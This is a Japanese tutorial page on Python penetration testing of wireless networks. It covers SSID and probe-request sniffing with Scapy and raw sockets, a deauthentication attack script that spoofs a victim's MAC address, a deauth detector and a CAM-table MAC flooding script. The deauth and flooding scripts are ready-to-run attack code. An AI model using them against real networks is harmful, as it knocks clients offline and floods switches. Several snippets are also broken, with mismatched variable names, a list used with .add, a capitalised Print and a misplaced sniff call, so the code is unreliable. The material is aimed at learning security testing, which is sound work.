Python-penetration-testing-pentesting-of-wireless-network

提供:Dev Guides
移動先:案内検索

ワイヤレスネットワークのペンテスト

無線システムには多くの柔軟性がありますが、一方で、深刻なセキュリティ問題にもつながります。 そして、これはどのように深刻なセキュリティ問題になりますか?攻撃者は、無線接続の場合、有線ネットワークの場合のように物理的にアクセスするのではなく、攻撃する信号の可用性があればよいのです。 ワイヤレスシステムの侵入テストは、有線ネットワークで行うよりも簡単な作業です。 ワイヤレスメディアに対して適切な物理的セキュリティ対策を実際に適用することはできません。十分近くにある場合、空中を流れるすべてを「聞く」ことができます(少なくともワイヤレスアダプターは聞くことができます)。

前提条件

ワイヤレスネットワークのペンテストについて詳しく学習する前に、用語とクライアントとワイヤレスシステム間の通信プロセスについて説明します。

重要な用語

ここで、ワイヤレスネットワークのペンテストに関連する重要な用語を学びましょう。

アクセスポイント(AP)

アクセスポイント(AP)は、802.11ワイヤレス実装の中央ノードです。 このポイントは、ユーザーをネットワーク内の他のユーザーに接続するために使用され、ワイヤレスLAN(WLAN)と固定有線ネットワーク間の相互接続ポイントとしても機能します。 WLANでは、APはデータを送受信するステーションです。

サービスセット識別子(SSID)

これは、基本的にワイヤレスネットワークに割り当てられた名前である0〜32バイト長の人間が読めるテキスト文字列です。 ネットワーク内のすべてのデバイスは、この大文字と小文字を区別する名前を使用して、ワイヤレスネットワーク(Wi-Fi)で通信する必要があります。

基本サービスセット識別(BSSID)

これは、ワイヤレスアクセスポイント(AP)で実行されているWi-FiチップセットのMACアドレスです。 ランダムに生成されます。

チャンネル番号

これは、アクセスポイント(AP)が送信に使用する無線周波数の範囲を表します。

クライアントとワイヤレスシステム間の通信

理解する必要があるもう1つの重要なことは、クライアントとワイヤレスシステム間の通信プロセスです。 次の図の助けを借りて、同じことを理解することができます-

クライアントと無線システム通信

ビーコンフレーム

クライアントとアクセスポイント間の通信プロセスでは、APはビーコンフレームを定期的に送信して、その存在を示します。 このフレームには、SSID、BSSID、およびチャネル番号に関連する情報が付属しています。

プローブ要求

これで、クライアントデバイスは範囲内のAPを確認するためのプローブ要求を送信します。 プローブ要求を送信した後、APからのプローブ応答を待ちます。 プローブリクエストには、APのSSID、ベンダー固有の情報などの情報が含まれます。

プローブの応答

現在、APはプローブ要求を取得した後、サポートされているデータレート、機能などの情報を含むプローブ応答を送信します。

認証リクエスト

これで、クライアントデバイスはそのIDを含む認証要求フレームを送信します。

認証応答

これに応じて、APは承認または拒否を示す認証応答フレームを送信します。

協会のリクエスト

認証が成功すると、クライアントデバイスは、サポートされているデータレートとAPのSSIDを含むアソシエーション要求フレームを送信しました。

協会の応答

これに応じて、APは受け入れまたは拒否を示すアソシエーション応答フレームを送信します。 受け入れた場合、クライアントデバイスのアソシエーションIDが作成されます。

Pythonを使用したワイヤレスサービスセット識別子(SSID)の検索

Scapyライブラリを使用するだけでなく、rawソケットメソッドを使用してSSIDに関する情報を収集できます。

rawソケットメソッド

*mon0* がワイヤレスパケットをキャプチャすることは既に知っています。そのため、モニターモードを *mon0* に設定する必要があります。 Kali Linuxでは、 *airmon-ng* スクリプトを使用して実行できます。 このスクリプトを実行すると、ワイヤレスカードに *wlan1* という名前が付けられます。 今、次のコマンドの助けを借りて、 *mon0* でモニターモードを有効にする必要があります-
airmon-ng start wlan1

以下は、APのSSIDを提供する生のソケットメソッド、Pythonスクリプトです-

まず、次のようにソケットモジュールをインポートする必要があります-

import socket

次に、3つのパラメーターを持つソケットを作成します。 最初のパラメーターはパケットインターフェイス(Linux固有の場合はPF_PACKET、Windowsの場合はAF_INET)、2番目のパラメーターはそれがrawソケットであるかどうか、3番目のパラメーターはすべてのパケットに関心があることを示します。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

これで、次の行は mon0 モードと 0x0003 をバインドします。

s.bind(("mon0", 0x0003))

次に、空のリストを宣言する必要があります。このリストには、APのSSIDが格納されます。

ap_list = []

次に、パケットを受信するために* recvfrom()*メソッドを呼び出す必要があります。 スニッフィングを続行するには、無限whileループを使用します。

while True:
   packet = s.recvfrom(2048)

次のコード行は、フレームがビーコンフレームを示す8ビットであるかどうかを示しています。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])

print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Scapyを使用したSSIDスニファー

Scapyは、Wi-Fiパケットを簡単にスニッフィングできる最高のライブラリの1つです。 Scapyの詳細については、https://scapy.readthedocs.io/en/latest/をご覧ください。 まず、Sacpyをインタラクティブモードで実行し、confコマンドを使用してifaceの値を取得します。 デフォルトのインターフェースはeth0です。 上記のドームがあるので、このモードをmon0に変更する必要があります。 それは次のように行うことができます-

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

次に、Scapyをライブラリとしてインポートします。 さらに、次のPythonスクリプトを実行するとSSIDが得られます-

from scapy.all import *

次に、APのSSIDを保存する空のリストを宣言する必要があります。

ap_list = []

ここで、完全なパケット解析ロジックを持つ* Packet_info()*という名前の関数を定義します。 引数pktがあります。

def Packet_info(pkt) :

次のステートメントでは、802.11トラフィックを意味する Dot11 トラフィックのみを通過させるフィルターを適用します。 次の行もフィルターであり、フレームタイプ0(管理フレームを表す)とフレームサブタイプが8(ビーコンフレームを表す)を持つトラフィックを通過させます。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

これで、スニフ関数は ifacemon0 (ワイヤレスパケット用)でデータをスニッフィングし、 Packet_info 関数を呼び出します。

sniff(iface = "mon0", prn = Packet_info)

上記のPythonスクリプトを実装するには、モニターモードを使用して電波を探知できるWi-Fiカードが必要です。

アクセスポイントクライアントの検出

アクセスポイントのクライアントを検出するには、プローブ要求フレームをキャプチャする必要があります。 Scapyを使用してSSIDスニファー用のPythonスクリプトで行ったように、それを行うことができます。 プローブリクエストフレームをキャプチャするには、 Dot11ProbeReq を指定する必要があります。 以下は、アクセスポイントのクライアントを検出するPythonスクリプトです-

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info

      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)

sniff(iface = "mon0", prn = Probe_info)

ワイヤレス攻撃

ペンタスターの観点から、ワイヤレス攻撃がどのように発生するかを理解することは非常に重要です。 このセクションでは、2種類のワイヤレス攻撃について説明します-

  • 認証解除(deauth)攻撃 *MACフラッディング攻撃

認証解除(deauth)攻撃

クライアントが切断したいときはいつでも、クライアントデバイスとアクセスポイント間の通信プロセスで、認証解除フレームを送信する必要があります。 クライアントからのそのフレームに応じて、APは認証解除フレームも送信します。 攻撃者は、被害者のMACアドレスをスプーフィングし、認証解除フレームをAPに送信することにより、この通常のプロセスから利点を得ることができます。 このため、クライアントとAP間の接続はドロップされます。 以下は、認証解除攻撃を実行するためのPythonスクリプトです-

まず、Scapyをライブラリとしてインポートします-

from scapy.all import*
import sys

次の2つのステートメントは、それぞれAPと被害者のMACアドレスを入力します。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

次に、認証解除フレームを作成する必要があります。 次のステートメントを実行して作成できます。

frame = RadioTap()/Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/Dot11Deauth()

コードの次の行は、送信されたパケットの総数を表します。ここでは500であり、2つのパケット間の間隔です。

sendp(frame, iface = "mon0", count = 500, inter = .1)

出力

実行すると、上記のコマンドは次の出力を生成します-

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

これに続いて、deauth frameが作成されます。これにより、クライアントに代わってアクセスポイントに送信されます。 これにより、それらの間の接続がキャンセルされます。

ここでの質問は、Pythonスクリプトを使用してdeauth攻撃をどのように検出するかです。 次のPythonスクリプトの実行は、このような攻撃の検出に役立ちます-

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

上記のスクリプトでは、ステートメント pkt.subtype == 12 は認証解除フレームを示し、グローバルに定義されている変数Iはパケット数を示しています。

出力

上記のスクリプトの実行は、次の出力を生成します-

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MACアドレスフラッディング攻撃

MACアドレスフラッディング攻撃(CAMテーブルフラッディング攻撃)は、スイッチポートに接続された攻撃者が異なる偽の送信元MACアドレスを持つ非常に多数のイーサネットフレームでスイッチインターフェイスをフラッディングするネットワーク攻撃の一種です。 CAMテーブルオーバーフローは、MACアドレスの流入がテーブルにフラッディングされ、CAMテーブルのしきい値に達すると発生します。 これにより、スイッチはハブのように動作し、すべてのポートのトラフィックでネットワークをフラッディングします。 このような攻撃は非常に簡単に開始できます。 次のPythonスクリプトは、このようなCAMフラッディング攻撃の開始に役立ちます-

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

この種の攻撃の主な目的は、スイッチのセキュリティを確認することです。 MACフラッディング攻撃の影響を軽減したい場合は、ポートセキュリティを使用する必要があります。